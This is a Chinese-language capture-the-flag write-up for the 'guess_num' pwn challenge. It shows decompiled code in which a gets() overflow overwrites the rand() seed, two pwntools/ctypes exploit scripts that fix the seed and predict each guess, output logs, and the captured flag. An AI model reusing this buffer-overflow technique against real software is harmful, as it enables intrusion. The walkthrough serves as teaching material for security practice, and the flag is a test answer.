攻防世界-wp-PWN-新手区-3-guess_num

题目描述:

菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么

题目场景:

220.249.52.133:35323

题目附件:

b59204f56a0545e8a22f8518e749f19f

题目思路:

随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。

解题过程:

载入IDA64,找到main函数,F5反编译得到伪C代码,发现输入v8名字时可以覆盖sreed[0],这样这个随机数列就可控了。

__int64 __fastcall main(__int64 a1, char **a2, char **a3){
     
  FILE *v3; // rdi
  int v5; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v7; // [rsp+Ch] [rbp-34h]
  char v8; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]
  v10 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = stderr;
  setbuf(stderr, 0LL);
  v5 = 0;
  v7 = 0;
  *(_QWORD *)seed = sub_BB0(v3, 0LL);
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");
  gets(&v8);
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i ){
     
    v7 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v5);
    puts("---------------------------------");
    if ( v5 != v7 ){
     
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}

进入v8,var_30在栈中占0x20,也就是十进制的32,可以覆盖到seed。如果使输入的guessnumber,即v5=v7=随机数%6+1,即可运行sub_C3E得到flag

-0000000000000030 var_30          db ?
    ......
-0000000000000011                 db ? ; undefined
-0000000000000010 seed            dd 2 dup(?)
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。

方法一:使用python标准库中自带的ctypes模块进行python和c的混合编程。
第7行的lib/x86_64-linux-gnu/libc.so.6文件相当于windows 的*.dll,属于动态运行库。
第8行的p32(0x1)也可以换成p64(0x1),因为p32是转化成4字节,p64是转化成8字节,在参数是数字的情况下是相等的。

from pwn import *
from ctypes import *
io = remote("220.249.52.133","35323")
#io = process('./guess_num')#本地调试
#elf = ELF('./guess_num')#在脚本中通过elf文件查找
#libc = elf.libc
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")#使用ldd查找
payload = "a" * 0x20 + p32(0x1)
io.recvuntil('Your name:')
io.sendline(payload)
libc.srand(0x1)
for i in range(10):
    num = str(libc.rand()%6+1)
    io.recvuntil('number:')
    io.sendline(num)
io.interactive()
'''giantbranch@ubuntu:~/Desktop$ python 1.py 
[+] Opening connection to 220.249.52.133 on port 35323: Done
[*] Switching to interactive mode
---------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{607af6232982005da7c903b914da26f7}
[*] Got EOF while reading in interactive'''

方法二:本地编写一个python程序,使用0x61616161作为种子来生成随机数列。

from ctypes import *
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0x61616161)
for i in range(10):
    num = libc.rand()%6+1
    print(num)

0x61616161是a,所以在输入名字时输入很长的a就可以溢出覆盖随机种子。按照输出的顺序输入数字就可以得到flag

giantbranch@ubuntu:~/Desktop$ nc 220.249.52.133 35323
-------------------------------
Welcome to a guess number game!
-------------------------------
Please let me know your name!
Your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
......
-------------Turn:10-------------
Please input your guess number:2
---------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{
     607af6232982005da7c903b914da26f7}
*** stack smashing detected ***: ./guess_num terminated

cyberpeace{607af6232982005da7c903b914da26f7}

你可能感兴趣的:(pwn,安全)